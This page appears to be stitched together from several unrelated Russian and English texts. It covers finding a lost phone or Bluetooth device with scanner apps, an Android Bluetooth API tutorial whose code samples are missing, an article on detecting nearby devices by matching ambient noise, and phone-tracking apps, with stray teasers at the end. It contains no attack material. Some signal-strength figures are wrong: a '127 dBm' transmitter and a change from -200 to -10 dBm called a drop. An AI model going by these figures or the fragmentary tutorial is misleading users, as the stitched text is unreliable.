Самый простой способ найти телефон с помощью другого, позвонив на него. Но если потеряшка стоит на беззвучном режиме, то обнаружить его будет сложно. На этот случай подойдет оригинальный способ поска телефона по Bluetooth.
Как найти смартфон через Bluetooth
Скачайте и установите приложение Bluetooth Discovery из официального магазина приложений Google Play. Программа представляет собой простой сканер всех беспроводных устройств, способных соединиться со смартфоном по блютуз. Если на потерянном гаджете включен Bluetooth, он найдется по кнопке Start LE scan.
Расстояние до найденного телефона можно определить по значению RSSI Power. Чем дальше мы от источника сигнала, тем сильнее затухает мощность. Вот RSSI Power для моего планшета, находящегося в другой комнате.
А вот в непосредственной близости.
Мощность передатчика 127 дБм остается постоянной, а затухание меняется с удалением или приближением к объекту. Перемещайтесь по квартире, пока не найдете телефон.
Устройств может быть несколько. Нужное можно уточнить методом исключения. В моем случае в списке был даже телевизор Samsung, находившийся где-то за стенкой у соседей.
Use your smartphone to find your Bluetooth tech
Updated on February 6, 2022
What to Know
- Make sure Bluetooth is on. Download and then open a Bluetooth scanner app and start scanning.
- When found, move around to measure the proximity of the device.
- If you lost Bluetooth headphones or another audio device, send some loud music to it using a music app.
When you set up a Bluetooth device on a PC or mobile device, you usually pair it to another device. For example, you can pair a Bluetooth device with a car audio system or wireless speaker. This pairing mechanism is critical to helping you find a lost Bluetooth device. Learn how to find a lost Bluetooth device using phones and tablets with iOS or Android.
Finding a Lost Bluetooth Device
As long as your headphones, earbuds, or another Bluetooth-enabled device has some battery life and was turned on when you lost it, the odds are good that you can find it using a smartphone and a Bluetooth scanning app. Several of these apps are available for both iOS and Android-based phones and tablets.
4 Ways to Find Lost AirPods in Any Situation
-
Make sure Bluetooth is active on the phone. Your phone can’t pick up the signal from the lost Bluetooth device if the phone’s Bluetooth radio is off.
On Android, access Quick Settings. If the Bluetooth icon is gray, tap it to turn it on. (You may have to swipe left to find Bluetooth.) It’s also easy to turn on Bluetooth on an iPhone in the Settings app.
-
Download a Bluetooth scanner app. For example, download LightBlue for iPhone, or get LightBlue for Android. This kind of app detects and lists all Bluetooth devices broadcasting nearby.
-
Open the Bluetooth scanner app and start scanning. Locate the missing Bluetooth item in the list of found devices and note its signal strength. (Be sure to enable location services.) If it doesn’t show up, move around in the location where you think you might have left it until it shows up on the list.
-
When the item shows up on the list, try to locate it. If the signal strength drops (for example, goes from -200 dBm to -10 dBm), you’ve moved away from the device. If the signal strength improves (for example, goes from -10 dBm to -1 dBm), you’re getting warmer. Keep playing this game of Hot or Cold until you find the phone.
-
Play some music. If you lost Bluetooth headphones or another audio device, send some loud music to it using the phone’s music app. Chances are, you can control the volume of the Bluetooth headset on the phone, so crank up the volume and listen for music coming from the headset.
FAQ
-
How do I rename a Bluetooth device?
On most Android devices, to change the Bluetooth name, go to Settings > Connected Devices > Connection preferences > Bluetooth > Device name. To rename on iOS devices, go to Settings > Bluetooth > Choose connected Bluetooth accessory > Name.
-
How do I unpair a Bluetooth device on my Android?
First, make sure Bluetooth is turned on. Next, go to Settings > Connections > Bluetooth. Select the cogwheel next to the device you want to unpair > Unpair.
Thanks for letting us know!
Get the Latest Tech News Delivered Every Day
Subscribe
Обновлено: 26.05.2023
Платформа Android предоставляет разработчику богатые коммуникационные возможности. Для работы с Bluetooth в состав Android входит мощный API, позволяющий легко производить сканирование окружающего пространства на предмет наличия готовых к соединению устройств, передачу данных между устройствами и многое другое.
Работа с Bluetooth состоит из четырех этапов: установка настроек bluetooth адаптера, поиск доступных для соединения устройств, установка соединения, передача данных.
Обзор Android Bluetooth API
Bluetooth API располагается в пакетеandroid.bluetooth. В его состав входит несколько классов:
- BluetoothAdapter- отвечает за работу с установленным в телефоне Bluetooth модулем. Экземпляр этого класса есть в любой программе, использующей bluetooth. В состав этого класса входят методы, позволяющие производить поиск доступных устройств, запрашивать список подключенных устройств, создавать экземпляр класса BluetoothDevice на основании известного MAC адреса и создавать BluetoothServerSocket для ожидания запроса на соединение от других устройств.
- BluetoothDevice- класс, ассоциирующийся с удаленным Bluetooth устройством. Экземпляр этого класса используется для соединения через BluetoothSocket или для запроса информации об удаленном устройстве (имя, адресс, класс, состояние).
- BluetoothSocket- интерфейс для Bluetooth socket, аналогичный TCP сокетам. Это точка соединения, позволяющая обмениваться данными с удаленным устройством через InputStream и OutputStream.
- BluetoothServerSocket- представляет открытый сокет сервера, готовый к обработке входящего запроса. Для того чтобы соединить два Android устройства, одно из них должно открыть сокет с помощью этого класса. Когда удаленное устройство пошлет запрос на соединение, BluetoothServerSocket вернет объект BluetoothSocket.
- BluetoothClass- описывает основные параметры Bluetooth модуля. Объект этого класса доступен только в режиме чтения и может быть полезен при определении типа устройства.
- BluetoothProfile- интерфейс, представляющий Bluetooth профиль (спецификацию беспроводного интерфейса для соединения устройств через Bluetooth). Примером профиля может служить Hands-Free profile, определяющий порядок работы с беспроводной гарнитурой.
- BluetoothHeadset- обеспечивает поддержку bluetooth гарнитур. Включает в себя профили Bluetooth Headset и Hands-Free (v1.5).
- BluetoothA2dp- Описывает Advanced Audio Distribution Profile, определяющий передачу потока высококачественных аудиоданных через bluetooth.
- BluetoothHealth- определяет proxy для Health Device Profile.
- BluetoothHealthCallback- абстрактный класс, который можно использовать для реализации обратных вызовов от BluetoothHealth. Для того чтобы регистрировать изменение состояния Bluetooth устройства нужно на основе этого класса создать собственный и переопределить в нем callback методы.
- BluetoothHealthAppConfiguration- конфигурация, которая используется для соединения с различными медицинскими bluetooth устройствами.
- BluetoothProfile.ServiceListener- интерфейс, который посылает уведомление BluetoothProfile IPC клиентам при их подключении и отключении от сервиса.
В рамках этой статьи мы не будем углубляться в суть работы с медицинскими bluetooth устройствами и сосредоточимся на первых четырех классах.
Установка настроек Bluetooth адаптера из Android
Если Вы решили задействовать в своей программе возможности Bluetooth модуля, вам необходимо, прежде всего, подключить соответствующий пакет API.
Помимо этого необходимо дать приложению разрешение на использования Bluetooth модуля. Для этого в манифест программы нужно добавить строку
Если Вы собираетесь использовать критические с точки зрения безопасности возможности, например, изменить имя устройства, то нужно дать более мощные разрешения BLUETOOTH_ADMIN:
При использовании разрешения BLUETOOTH_ADMIN, необходимо также указывать и BLUETOOTH.
Прежде чем соединяться с кем-нибудь и передавать данные нужно убедиться, что ваш телефон имеет bluetooth модуль. Первым делом при работе с bluetooth API нужно создать экземпляр класса BluetoothAdapter
Если ваш телефон не поддерживает bluetooth, будет возвращено значение «null». На практике нужно всегда проверять это условие, чтобы избежать ошибок.
Даже если ваш аппарат оснащен Bluetooth модулем, он может быть недоступен, поскольку пользователь просто отключил его. Для проверки доступности Bluetooth служит метод isEnabled(). В случае, если модуль отключен, можно предложить пользователю включить его.
Если пользователь согласился на включение адаптера, в переменную enableBtIntent будет записано значение RESULT_OK. В противном случае — RESULT_CANCELED.
После того, как все проверки выполнены, можно приступать к работе. Давайте, например, отобразим имя и адрес нашего адаптера, вызвав методы getName() и getAddress().
Если приложение имеет разрешение BLUETOOTH_ADMIN, вы можете изменить имя Bluetooth устройства с помощью метода
для отображения состояния адаптера служит метод BluetoothAdapter.getState(). Этот метод может возвращать одно из следующих значений:
STATE_TURNING_ON
STATE_ON
STATE_TURNING_OFF
STATE_OFF
Организация поиска доступных bluetooth устройств
С помощью класса BluetoothAdapter, Вы можете найти удаленное bluetooth устройство, запустив сканирование или запросив список спаренных устройств.
При сканировании осуществляется поиск доступных bluetooth модулей вокруг вас. Если в поле досягаемости окажется устройство с разрешенным bluetooth, оно отправит в ответ на запрос некоторую информацию о себе: имя, класс, свой уникальный MAC адрес. На основе этой информации можно организовать соединение и передачу данных.
Сразу после установки соединения с удаленным устройством, пользователю будет автоматически показан запрос на соединение. В случае положительного ответа полученная информация (имя, класс и MAC адрес) сохраняется и может затем использоваться через bluetooth API. Так при следующем сеансе связи с данным удаленным устройством вам уже не придется проводить сканирование, поскольку необходимый MAC адрес уже будет занесен в базу вашего телефона и его можно просто выбрать из списка спаренных устройств.
Необходимо различать понятие спаренных и соединенных устройств. Спаренные устройства просто знают о существовании друг-друга, имеют ссылку-ключ, которую могут использовать для аутентификации, и способны создать шифрованное соединение друг с другом. Соединенные устройства разделяют один радиоканал и могут передавать данные друг другу. Текущая реализация bluetooth API требует, чтобы устройства были спарены перед соединением. (Спаривание выполняется автоматически, когда вы начинаете шифрованное соединение через Bluetooth API)
Запрос на соединение со спаренным устройством
Прежде чем приступать к поиску устройств вокруг имеет смысл показать пользователю список уже известных системе устройств. Вполне возможно, что требуемый телефон окажется в этом списке. Метод getBondedDevices() возвращает множество (Set) устройств BluetoothDevice, с которыми уже происходило соединение. Вы можете показать пользователю этот список, например с помощью ArrayAdapter:
Для того чтобы инициализировать соединение нужно знать MAC адрес устройства. В приведенном выше примере эти адреса заносятся в Arrayadapter и показываются пользователю. При желании, Вы можете легко достать любой адрес из этого списка.
Поиск устройств
Для того, чтобы начать сканирование радиодиапазона на предмет наличия доступных устройств просто вызовите метод startDiscovery(). Сканирование происходит в отдельном асинхронном потоке. Метод возвращает true, если запуск сканирования прошел успешно. Обычно процесс сканирования занимает порядка 10-15 секунд. Чтобы получить информацию о найденных устройствах Ваше приложение должно зарегистрировать BroadcastReceiver для интента ACTION_FOUND. Этот интент вызывается для каждого найденного устройства. Интент содержит дополнительные поля EXTRA_DEVICE и EXTRA_CLASS, которые содержат объекты BluetoothDevice и BluetoothClass соответственно.
Поиск Bluetooth устройств требует много ресурсов. Как только Вы нашли подходящее устройство, не забудьте остановить процесс сканирования. Это можно сделать с помощью метода cancelDiscovery(). Кроме того, если ваш телефон уже находится в соединении с каким-либо устройством, сканирование может значительно сузить ширину пропускания канала, поэтому лучше воздержаться от поиска новых устройств при установленном соединении.
Включение Bluetooth из приложения
Современные Android смартфоны не могут похвастаться долгим временем работы, поэтому все нормальные люди отключают Bluetooth модуль. Если Вы припрограммровании для Android хотите дать своим пользователям возможность сделать телефон видимым для других телефонов, вызовите с помощью метода startActivityForResult(Intent, int) интент ACTION_REQUEST_DISCOVERABLE. В результате пользователю будет показано системное окно с запросом на перевод телефона в режим bluetooth видимости. По умолчанию этот режим включается на 120 секунд. Это время можно изменить с передав интенту дополнительный параметр EXTRA_DISCOVERABLE_DURATION. Максимально доступное время составляет 3600 секунд. Значение 0 переводит bluetooth модуль вашего телефона в режим постоянной видимости. Для примера создадим интент с запросом на переход в режим видимости на 300 секунд
В результате выполнения этого кода пользователю будет показан диалог с запросом. Если пользователь согласится, телефон будет переведен в режим видимости, и будет вызван callback метод onActivityResult() . В качестве результата методу будет передано число секунд, которое устройство будет видимым. Если пользователь откажется от предложения или произойдет ошибка, то интент вернет код RESULT_CANCELED. Перевод устройства в режим видимости автоматически включает bluetooth адаптер.
Если вы хотите получить уведомления, при изменении режима видимости Вашего устройства, зарегистрируйте BroadcastReceiver для интента ACTION_SCAN_MODE_CHANGED. Дополнительные поля EXTRA_SCAN_MODE и EXTRA_PREVIOUS_SCAN_MODE позволяют получить информацию о новом и старом состоянии соответственно. Они могут принимать значения SCAN_MODE_CONNECTABLE_DISCOVERABLE, SCAN_MODE_CONNECTABLE или SCAN_MODE_NONE. Первое значение указывает на то, что устройство доступно для поиска. Второе — устройство не доступно для поиска, но способно принимать соединения. Третье — не доступно для поиска и не может принимать соединения.
Вам не нужно переводить свой телефон в режим видимости, если вы инициализируете соединение. Видимым должно быть устройство к которому вы хотите подключиться.
Соединение устройств
Чтобы соединить два устройства, вы должны написать серверную и клиентскую часть кода. Одно из устройств должно открыть серверный сокет, а второе — инициализировать соединение, используя MAC адрес сервера. Сервер и клиент считаются соединенными, когда они оба имеют активный BluetoothSocket на одном и том же RFCOMM канале. После этого они могут поучать и отправлять потоки данных. Сервер и клиент по-разному получают требуемый BluetoothSocket. Сервер получает его, когда входящее соединение принято. Клиент — когда открывает RFCOMM для сервера.
Сервер
При соединении устройств одно из них должно вести себя как сервер, то есть удерживать открытый BluetoothServerSocket. Цель сервера — ждать запроса на входящее соединение, и когда оно подтверждено, создать BluetoothSocket. После этого BluetoothServerSocket можно закрыть. Рассмотрим поэтапно процедуру соединения с точки зрения сервера:
- Получить BluetoothServerSocket вызвав метод listenUsingRfcommWithServiceRecord(String, UUID). Первый параметр метода представляет собой идентификационное имя вашего сервиса. Система автоматически добавит его в базу Service Discovery Protocol (SDP). Обычно в качестве этого параметра просто указывают название приложения. Второй параметр также идентифицирует сервис. Этот параметр используется клиентом при подтверждении соединения.
- Начинаем прослушивать запрос на соединения через метод accept(). Это блокирующий метод, который возвращает результат либо когда соединение подтверждено, либо когда произошло исключение. Соединение считается подтвержденным, когда удаленное устройство пошлет запрос на соединение с UUID, указанным при регистрации серверного сокета. В случае успеха, accept() возвращает настроенный на соединение BluetoothSocket.
- Если Вы хотите принять дополнительное соединение, вызовите метод close(). Это приведет к освобождению сокета и всех его ресурсов, но не закроет соединенный BluetoothSocket. В отличие от TCP/IP, RFCOMM позволяет работать только с одним клиентом на канале, поэтому в большинстве случаев имеет смысл вызывать метод close() срезу же после установки принятия сокета.
Поскольку метод accept() является блокирующим, его не стоит вызывать из потока главной деятельности, поскольку это приведет к подвисанию интерфейса. Обычна вся работа с BluetoothServerSocket и BluetoothSocket выполняется в отдельном потоке. Чтобы прекратить выполнение метода accept(), вызовите метод close() для BluetoothServerSocket (или BluetoothSocket) из любого другого потока вашего приложения.
Ниже приведен пример потока, реализующий описанный выше механизм работы
В этом примере подразумевается, что может быть установлено только одно соединение, поэтому после того, как соединение подтверждено и получен BluetoothSocket, приложение посылает его отдельному потоку, закрывает BluetoothServerSocket и выходит из цикла.
Обратите внимание, когда accept() возвращает BluetoothSocket, сокет уже соединен, поэтому не требуется вызывать метод connect().
manageConnectedSocket() представляет собой метод, внутри которого нужно создать поток для передачи данных. Его возможная реализация будет рассмотрена ниже.
Вы должны закрыть BluetoothServerSocket сразу же после завершения прослушивания эфира на предмет наличия входящего соединения. В приведенном примере метод close() вызывается сразу после получения объекта BluetoothSocket. Также Вам может понадобиться public метод для остановки приватного BluetoothSocket.
Клиент
Для инициализации соединения с удаленным устройствам (устройством, которое держит открытым серверный сокет) вам необходимо получить объект BluetoothDevice, содержащий информацию о нем. Этот объект используется для получения BluetoothSocket и инициализации соединения.
Опишем процедуру соединения:
- Получим BluetoothSocket вызвав метод BluetoothDevice.createRfcommSocketToServiceRecord(UUID). Значение параметра UUID должно совпадать с значением, указанным при вызове listenUsingRfcommWithServiceRecord сервера.
- Инициализируем соединение, вызвав метод connect(). После вызова этого метода система будет выполнять SDP поиск на удаленном устройстве, чтобы сопоставить UUID. В случае успеха при условии подтверждения запроса со стороны сервера будет открыт RFCOMM канал. Это блокирующий вызов. Если по каким-то причинам соединение сорвется или выйдет timeout (около 12 секунд), будет сгенерировано исключение.
Как и в случае с accept, метод connect() следует выполнять в отдельном потоке, в противном случае может произойти подвисание интерфейса.
Замечание. Прежде чем вызывать connect() убедитесь, что в данный момент не происходит сканирование с целью поиска доступных устройств. В случае одновременного выполнения этих операций соединение будет устанавливаться намного медленнее, и вы рискуете не уложиться в timeout.
Приведем пример клиентского приложения, инициализирующего соединение
Для остановки сканирования эфира вызывается метод cancelDiscovery(). Перед вызовом этого метода можно проверить идет ли сканирование с помощью isDiscovering().
После завершения работы с BluetoothSocket всегда вызывайте метод close(). Это поможет сэкономить ресурсы телефона.
Передача данных
После успешного соединения, каждое из соединенных устройств имеет объект BluetoothSocket с помощью которого легко реализовать передачу/прием данных:
- С помощью методов getInputStream() и getOutputStream() полуить объекты InputStream и OutputStream, управляющие передачей через сокет.
- Читать и писать данные в поток с помощью методов read(byte[]) и write(byte[]).
Вы должны использовать отдельный поток для чтения и записи данных. Это важно, поскольку методы read(byte[]) и write(byte[]) являются блокирующими и их вызов в основном потоке может парализовать вашу программу. Главный цикл в этом отдельном потоке должен считывать данные из InputStream. Для записи в OutputStream имеет смысл создать отдельный public метод.
В конструкторе создаются объекты для работы с потоками данных, после чего поток оживает входящие данные. После того как прочитан очередной блок данных из входящего потока он посылается в главную деятельность посредствам вызова метода Handler родительского класса. Для отправки данных из главной деятельности просто вызывается метод write(). Внутри этого публичного метода происходит вызов write(byte[]). Метод close() также можно вызвать из главной деятельности. Он разрывает соединение.
Эта история началась с функции “Рядом” в одном из наших мобильных приложений. Мы хотели, чтобы пользователи могли быстро создать групповой чат или добавить находящихся рядом пользователей в друзья. Мы попробовали решить эту задачу при помощи геолокации, Bluetooth, Wi-Fi и ультразвука, но у каждого из способов мы обнаружили критичные в нашем случае недостатки.
В итоге мы придумали новый способ. Он основан на поиске совпадения окружающего шума: если устройства слышат одно и то же, то, скорее всего, они находятся рядом.
В статье мы расскажем о принципе его работы, а также рассмотрим достоинства и недостатки других распространенных способов обнаружения устройств.
Взаимодействие между устройствами поблизости
Люди, находясь рядом друг с другом, часто хотят обменяться файлами, добавить нового знакомого в друзья, сыграть вместе в игру, перевести деньги, поделить счет или выполнить другие совместные действия. Такие приложения станут удобнее, если позволят пользователю легко взаимодействовать с окружающими людьми или устройствами.
Например, Петров только что познакомился с Ивановым и они пытаются “подружиться” на Facebook. Спустя несколько безуспешных попыток найти друг-друга, они, скорее всего, закроют Facebook, обменяются номерами телефонов и будут общаться через WhatsApp.
Кстати, Вконтакте предусмотрели это: в их мобильном приложении для iOS и Android есть функция “Люди Рядом”, которая позволяет найти других пользователей при помощи геолокации. О минусах этого способа я расскажу чуть позже.
Поиск нового знакомого в FB | Поиск нового знакомого в Vk |
Чтобы функция действительно была удобна пользователю, она должна работать:
- На любом смартфоне
- Всегда и везде. На улице, в транспорте, в офисе и т.д.
- Кроссплатформенно. Как минимум на iOS и Android, а лучше, и в браузере
- Точно. Определять устройства, которые действительно рядом
- Быстро. Устройство должно быть найдено менее, чем за 10 секунд
- Просто. Без дополнительных действий со стороны пользователя
Окружающий шум
Где бы вы не находились (в офисе, транспорте, кафе, на улице, встрече или концерте) — везде есть окружающий шум: голоса людей, музыка, работа двигателя, шум колес, стук клавиш и так далее.
Короткий сэмпл естественного окружающего шума вместе с точным временем его записи, в большинстве случаев, уникален для любого места на Земле. Совпадение окружающего шума и времени означает, что записывающие устройства находятся рядом. Именно на этом основан принцип работы технологии.
Схема работы
Каждое устройство в реальном времени захватывает звук с микрофона и преобразовывает его в специальный отпечаток при помощи перцептивной хэш-функции. Особенность перцептивных хэш-функций в том, что небольшие отличия в исходных данных выражены небольшими отличиями в результирующем хэше.
Отпечаток звука с точной меткой времени отправляется на сервер. Сравнивая его с отпечатками других устройств, сделанных в тот же момент времени, сервер может определить, насколько похожи исходные звуки. Если показатель схожести выше определенного порога — устройства получают идентификаторы друг-друга для последующего взаимодействия.
Пример и сравнение отпечатков с двух разных устройств
Нужно было убедиться, что данный принцип работает и способен находить совпадения в звуке, записанном разными устройствами на расстоянии нескольких метров, а также, что заведомо разный звук не совпадает. Мы вручную собрали сотни часов звука, записанного одновременно на несколько устройств во множестве различных мест.
Используя эти данные, мы перебрали множество алгоритмов генерации и параметров сравнения отпечатков для достижения наилучшего результата. В итоге добились того, что 6-секундный отпечаток позволяет обнаружить устройство на расстоянии до 5 метров в 96% случаев, а ложноположительный результат возможен в 0.0039% случаев.
Мы разработали библиотеки для iOS и Android, которые скрывают от приложения всю реализацию через простой API и встроили их в свои приложения.
Недостаток данного подхода в том, что он не работает в абсолютной тишине. Тишина очень похожа на любую другую тишину и алгоритм намеренно игнорирует ее, чтобы исключить ложные срабатывания. Стоит отметить, что абсолютная тишина встречается в реальных условиях крайне редко. Достаточно стука клавиш клавиатуры или звука шагов, чтобы устройства обнаружили друг-друга.
Иногда это выглядит забавно: пользователи молча ждут обнаружения секунд 10, после чего один из них говорит что-то вроде “Это не работает!”. Эта фраза работает как заклинание и через секунду устройства обнаруживают друг-друга.
Одно преимуществ данного подхода — кроссплатформенность. JS-версия библиотеки, работает в Chrome, Safari, Firefox, Edge, в том числе, в их мобильных версиях.
Еще один способ….
В нашем приложении функция “Рядом” является одной из ключевых. Мы попробовали применить различные существующие способы для ее реализации, но столкнулись с критичными для нас ограничениями и проблемами.
Давайте подробно рассмотрим альтернативные способы.
Геолокация
Это наиболее очевидный способ решить задачу. В момент, когда пользователь открывает раздел “Рядом”, мы получаем его текущее местоположение и выполняем поиск ближайших пользователей на сервере.
Если представить местоположение как центр окружности, а погрешность координат в виде радиуса, то 2 пользователя могут быть изображены следующим образом:
Если расстояние между устройствами (d) меньше суммы погрешностей (r1 + r2), значит есть вероятность (P), что пользователи находятся рядом.
Радиус поиска должен быть не меньше погрешности координат. Как оказалось, реальные координаты смартфона могут находиться и за пределами погрешности, например, в Android это происходит в 32% случаев. Значит, даже находясь рядом, пользователи все равно могут не “увидеть” друг-друга.
Координаты, полученные при помощи GPS и ГЛОНАСС точны, но этот способ зачастую не работает внутри помещений, кроме того, может потребоваться до минуты на поиск спутников. При этом, модуль GPS/ГЛОНАСС присутствует не во всех устройствах (Привет, iPad Wi-Fi!) или может быть отключён на уровне ОС (Привет, Android!).
На самом деле, даже вне здания, на улице с плотной застройкой GPS/ГЛОНАСС часто ошибается из-за отражения сигнала от зданий и может выдавать точность ниже 100 метров:
Поэтому в большинстве случаев приходится использовать координаты, полученные при помощи триангуляции по сигналу окружающих Wi-Fi сетей и сотовых вышек, этот способ работает быстро и энергоэффективно, но точность на порядок ниже: 100 — 1500 метров. На практике, устройство нередко определяет неверное местоположение в городе, а иногда может “телепортироваться” в другой город.
Мы реализовали этот способ и протестировали его в Москве, примерно в 15% случаев устройства не находят друг-друга из-за неверных координат. Особенно часто ошибки происходят внутри высоток Москва-Сити, в метро и наземном транспорте. Также из-за низкой точности часто будут попадаться “лишние” пользователи (не находящиеся рядом).
+ простой в реализации способ
− низкая точность
− плохо работает в транспорте (в движении)
Команда Bump придумала оригинальный способ увеличить точность поиска по геолокации. Пользователям нужно стукнуться своими смартфонами, при этом, акселерометр фиксирует точное время соприкосновения и отправляет его вместе с координатами на сервер, алгоритм ищет пару только среди устройств с одинаковым временем соприкосновения. Эта простая идея на порядки уменьшает вероятность ложноположительного результата, что дает возможность значительно увеличить радиус поиска.
Но в 2013 их поглотил Google, а уже в 2014 проект закрыли, несмотря на то, что Bump SDK был встроен во множество сторонних приложений, а приложение Bump для обмена файлами получило сотни миллионов скачиваний. Дальнейшая судьба технологии неизвестна.
Главный недостаток технологии заключается в том, что за один ”Бамп” связывается только пара устройств. Чтобы объединить группу пользователей, потребуется сделать множество “Бампов”.
+ высокая точность
− необходимо сталкивать друг о друга устройства
− попарное обнаружение устройств
− проект закрыт
Bluetooth, BLE и Wi-Fi
iOS и Android категорически не дружат по Bluetooth. Передача данных между этими платформами — нетривиальная задача: Apple позволяет приложению подключиться только к сертифицированным (Made For iPhone) Bluetooth-устройствам.
Чтобы устройства могли обнаружить друг-друга, используется следующий способ: iOS имитирует какую-либо Bluetooth Low Energy-периферию, устанавливая свой токен в качестве имени BLE-устройства. Android временно меняет Bluetooth-имя смартфона на свой токен и включает режим обнаружения. Теперь, чтобы обнаружить устройства вокруг, Android сканирует Bluetooth для обнаружения Android и BLE для обнаружения iOS-устройств. iOS сканирует только BLE для обнаружения iOS, т.к. сканирование Bluetooth-устройств невозможно с помощью публичного API. Для того, чтобы обнаружить Android, iOS через облако получает идентификаторы окружающих Android-устройств, которые обнаружили его BLE-токен.
Окружающие Wi-Fi-сети в некоторых случаях помогают обнаружить, что устройства рядом: iOS-приложение может получить BSSID Wi-Fi точки доступа, к которой в данный момент подключен пользователь, а Android BSSID всех видимых точек. Если найдено совпадение, значит, пользователи рядом.
Грамотно реализовать этот способ самостоятельно не так уж просто, в том числе из-за множества особенностей BLE-стека разных версий Android и iOS. Существуют библиотеки, которые скрывают сложную реализацию “под капот”.
Мы попробовали Google Nearby. Обнаружение пары iOS — Android происходит медленно, в среднем поиск занимает 20 секунд, а в некоторых случаях длится до 40 секунд, это оказалось главным останавливающим фактором.
Другой нюанс заключается в том, что Bluetooth выключен на большинстве смартфонов, поэтому пользователям iOS каждый раз при использовании функции нужно будет правильно ответить на вопрос “Разрешить приложению использовать Bluetooth?”.
Также, стоит помнить, что использование Bluetooth (на Android) сильно влияет на потребление заряда. Google предупреждает, что Google Nearby увеличивает потребление энергии в 2.5 — 3.5 раза.
+ proof of proximity (гарантия того, что устройства находятся рядом)
− медленное обнаружение
− высокое потребление энергии
Обмен информацией через звук
У всех смартфонов есть динамик и микрофон. Можно закодировать какой-либо идентификатор в звук на одном устройстве, воспроизвести его при помощи динамика, декодировать на устройствах в радиусе слышимости и таким образом объединить устройства в группу.
Пример спектрограммы сигнала Chirp.io
В слышимом диапазоне сигнал смешивается с голосом, музыкой и окружающим шумом, чтобы увеличить вероятность корректного декодирования приходится воспроизводить звук с максимальной громкостью. Чаще всего используется FSK и PSK-модуляция, генерирующая похожий на свист или шум (в зависимости от плотности данных) звук, что раздражает многих людей (пример звука). Этот способ реализован в проекте Chirp.io.
− плохо работает в шумных местах
− раздражает окружающих
− работает на слишком малых расстояниях
Вместо заключения
Мы тестируем технологию в собственном приложении уже более 2-х лет. За это время мы убедились в ее работоспособности и удобстве в “боевых” условиях. В очень скором времени мы хотим дать возможность любому разработчику быстро встроить и использовать ее в своем приложении.
Надеюсь, статья оказалась познавательной и полезной. Если тема окажется интересной, в следующих статьях я планирую более подробно рассказать об алгоритмах создания и сравнения “отпечатков” окружающего звука, а также о трудностях, с которыми нам пришлось столкнуться.
Если телефон потерялся, это еще не значит, что его нельзя найти.
Встроенные средства поиска телефона
Ряд производителей предлагают собственный способ отслеживания телефонов. Вот варианты от Google (для любого телефона Android) и Samsung (для устройств Samsung).
Самый просто способ найти телефон
Приложение Google Find My Device является обязательным для пользователей Android и одним из самых полезных приложений для Android. Если вы добавили учетную запись Google на свое устройство Android, функция ”Найти устройство” будет включена автоматически. Вы можете проверить, что служба запущена, перейдя в ”Настройки”, далее выбираем ”Google” и открываем ”Найти мое устройство”. Иногда перед последним пунктом надо будет открыть пункт ”Безопасность”. После этого останется только убедиться, что функция включена.
Настройка в три клика
Так при включении этой функции вы сможете найти свой гаджет, просто перейдя на страницу поиска устройств. Искать таким способом можно не только телефоны, но и планшеты, и даже часы. А еще их можно будет удаленно стереть и заблокировать.
Чтобы начать поиск, надо будет или скачать приложение из Google Play, или перейти на специальный сайт. В первом случае не забудьте выйти из учетной записи, если искали свой смартфон с чужого. В противном случае, этот человек сможет отслеживать положение вашего устройства.
Если вы пользуетесь WEB-версией, то функциональность будет той же самой, но не придется никого просить установить приложение и дать вам телефон. Проблема в том, что часто под рукой просто нет компьютера и приходится прибегать к помощи других пользователей.
Как найти потерянный Samsung
Чтобы проверить, включена ли соответствующая опция, откройте настройки телефон. Теперь пролистайте до пункта ”Биометрия и безопасность” и внутри выберите ”Поиск устройств”. Если настройка не активирована, это можно будет легко сделать, передвинув соответствующий переключатель.
Сделайте это, если у вас Samsung.
Найти телефон также проще всего будет через сайт, который покажет всю важную и нужную информацию о местоположении вашего смартфона.
Тут можно купить отобранные вручную гаджеты с AliExpress
Приложения для поиска телефона
Если вы по какой-то причине не хотите пользоваться штатными средствами поиска или вам нужна дополнительная функциональность, стоит обратить внимание на сторонние приложения для отслеживания телефона. Часто они бывают не бесплатными и работают по абонентской плате. Впрочем, так и должно быть. Иначе стоит задуматься, почему разработчики такого полезного приложения вдруг оказались такими щедрыми.
Иногда надо искать не только телефон, но и человека
А еще они будут хранить все ваши данные, необходимые для поиска телефона, на своем сервере. Об этом тоже стоит задуматься. Ведь кто-то всегда будет в курсе вашего местоположения. Обязательно внимательно прочитайте политику конфиденциальности перед регистрацией, если вы решите использовать стороннее приложение.
Как узнать, где находятся члены семьи
Опять же, прежде, чем определять местоположение другого человека, даже члена семьи, стоит выяснить у него, не будет ли он против. Он должен быть как минимум в курсе отслеживания его местоположения.
Это будет полезно не только в городе, но и в походе, когда с человеком может что-то случиться и надо будет прийти к нему на помощь. Впрочем, для отправки местоположения нужно будет подключение к сети, которые не часто можно найти в лесу или в горах, но иногда найти человека будет существенно проще.
Приложение для защиты телефона
Cerberus Phone Security создано для предотвращения кражи данных с украденного телефона. Если вы беспокоитесь о том, что ваш телефон украдут или вы его потеряете, а кто-то подберет, Cerberus может быть для вас лучшим приложением.
Оно предлагает множество функций безопасности, которые позволяют получить удаленный доступ к утерянному или украденному устройству. Вы сможете включить звуковой сигнал, стереть данные, заблокировать устройство и даже сделать фотографии с передней камеры, чтобы обнаружить воров.
Это приложение так же можно использоваться, как семейный локатор с различными функциями для взрослых и детей. Оно не бесплатно, но, как я уже говорил выше, так и должно быть. Иначе данные о перемещении могут быть использованы против вас.
Это мощный инструмент, но не полностью бесплатный.
Обратите внимание, что большинство из этих функций доступны только для платных участников, поэтому вам, вероятно, придется потратить немного денег, чтобы получить максимальную отдачу от этого приложения.
Свободное общение и обсуждение материалов
Как вы ищете приложения в Google Play? Ну, логично, что в первую очередь все ориентируются на название. Оно как минимум должно совпадать с тем, что вам нужно. Дальше мы обычно смотрим на количество загрузок. Ведь логично, что, если приложение уже скачали до нас 100 тысяч или миллион человек, то оно: а) безопасно и б) функционально. В принципе, можно обратить внимание ещё и на рейтинг приложения, но, поскольку он формируется на основе оценок пользователей из разных стран мира, лично я этого предпочитаю не делать. Но скоро Google изменит эту недоработку.
Сколько оперативной памяти нужно Google Chrome? Вопрос хороший. Тем более, что как такового ответа на него почти ни у кого нет. Практика показывает, что браузер поискового гиганта способен израсходовать любой объём ОЗУ, сколько ему ни дай. Поэтому, когда в Сети появилась информация о том, что новая версия Google Chrome будет работать только на компьютерах минимум с 16 ГБ оперативки, большинство в неё охотно поверило. В конце концов, Google вполне могла установить такое требование, учитывая ресурсоёмкость фирменного браузера. Значит, нужно разобраться, что к чему.
